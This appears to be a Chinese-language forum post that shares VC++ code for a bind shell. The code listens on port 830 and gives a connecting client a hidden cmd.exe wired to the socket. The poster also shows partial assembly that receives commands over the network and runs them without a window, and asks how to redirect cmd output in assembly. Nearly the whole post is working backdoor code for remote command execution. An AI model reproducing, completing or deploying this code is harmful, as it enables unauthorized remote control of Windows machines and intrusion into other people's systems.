|
VC++是这样来着:
ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
ret=listen(listenFD,2);
//如果客户请求830端口,接受连接
int iAddrSize = sizeof(server);
SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);
STARTUPINFO si;
ZeroMemory(&si,sizeof(si));
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.wShowWindow = SW_SHOWNORMAL;
si.hStdInput = si.hStdOutput = si.hStdError = (void *)clientFD;
char cmdLine[] = "cmd.exe";
PROCESS_INFORMATION ProcessInformation;
//建立进程
ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
return 0;
}
这个代码实现了cmd的输出转向,但是用汇编我不知道怎么搞,一般我是用CreateProcess直接执行命令行了.....
.
.
.
.
invoke WSAStartup,0202H,addr @wsaData ;初始化WSAStartup库
invoke RtlZeroMemory,addr @stAddr,sizeof sockaddr_in ;清空内存
mov @stAddr.sin_family,AF_INET ;设置IP格式
invoke htons,TCP_PORT ;设置端口
mov @stAddr.sin_port,ax ;保存
mov @stAddr.sin_addr,INADDR_ANY ;设置IP地址
invoke socket,AF_INET,SOCK_STREAM,0 ;加载套接字
.if eax != INVALID_SOCKET
mov hScoket,eax ;保存句柄
.endif
invoke bind,hScoket,addr @stAddr,sizeof sockaddr_in ;绑定
.if eax != SOCKET_ERROR
invoke listen,hScoket,5 ;开始监听,默认连接5个
.endif
invoke accept,hScoket,NULL,NULL ;如果有客户端连接,马上确定
.
.
invoke recv,hScoket1,addr szBuffer,1024,0 ;开始接收命令
.
.
invoke GetStartupInfo,addr stStartUp
invoke CreateProcess,NULL,addr szBuffer,NULL,NULL,NULL,\ ;是的话就处理
CREATE_NO_WINDOW,NULL,NULL,addr stStartUp,addr stProcInfo
这样挺麻烦的,如果能直接实现cmd输出转向,那就非常的好了 |
|